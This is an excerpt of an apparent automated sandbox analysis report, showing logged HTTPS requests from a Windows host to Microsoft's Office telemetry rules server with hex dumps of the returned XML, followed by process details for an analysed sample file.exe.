2024-11-20 15:52:18 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:18 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155219Z-185f5d8b95cx9g8lhC1NYCtgvc00000002w0000000004bpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:19 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:18 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155219Z-185f5d8b95cmd8vfhC1NYC0g4000000006dg000000002uxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:19 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: a4b0abd9-001e-0049-4af2-3a5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155219Z-r1d97b99577hsvhhhC1TEByb1w00000003ag00000000ed33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:19 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.9	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:20 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:21 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155220Z-1777c6cb754whff4hC1TEBcd6c00000008g0000000007674 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:21 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155220Z-185f5d8b95cdh56ghC1NYCk1x4000000045000000000zdd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:21 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:21 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:21 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155221Z-185f5d8b95cdh56ghC1NYCk1x4000000047000000000qtau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:52:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:21 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:21 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:21 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155221Z-185f5d8b95cqnkdjhC1NYCm8w80000000a6000000000xd9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:21 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:21 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:21 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155221Z-r1d97b99577sdxndhC1TEBec5n000000092000000000svtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.9	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:22 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:23 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:23 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155223Z-r1d97b9957789nh9hC1TEBxha8000000095g00000000esfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:23 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:22 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:23 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155223Z-185f5d8b95cgrrn8hC1NYCgwh40000000a8g00000000nyxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:23 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:23 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155223Z-1777c6cb754xrr98hC1TEB3kag00000009pg00000000b2aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Target ID:	0
Start time:	10:50:19
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8a0000
File size:	1'853'440 bytes
MD5 hash:	484A61FDE611C70FB8C839DF92CF985E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
